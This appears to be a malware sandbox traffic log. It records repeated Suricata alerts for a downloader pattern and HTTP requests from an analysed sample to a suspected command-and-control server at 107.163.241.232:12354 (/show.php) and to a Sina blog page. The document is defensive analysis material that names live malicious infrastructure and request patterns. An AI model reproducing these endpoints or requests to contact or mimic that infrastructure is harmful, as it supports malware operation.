Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51675 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51437 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52558 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53345 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59860 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64462 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65394 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50611 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:55592 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64580 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65425 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57159 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52531 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:55780 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:58391 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65533 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60003 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57172 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53852 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50672 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:58942 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60937 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62221 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53858 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:55711 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50784 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59142 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62272 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52693 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65168 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57024 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64627 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49186 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65528 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51537 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60904 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56382 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51658 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54887 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62256 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65178 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62610 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53961 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:58418 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50940 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64241 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57918 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59960 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51444 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53875 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59852 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57709 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60763 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62613 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:58949 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54800 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:63631 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64270 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49353 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49191 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65253 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64406 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65101 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64546 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64868 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49188 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64711 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64990 -> 107.163.241.232:12354

Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
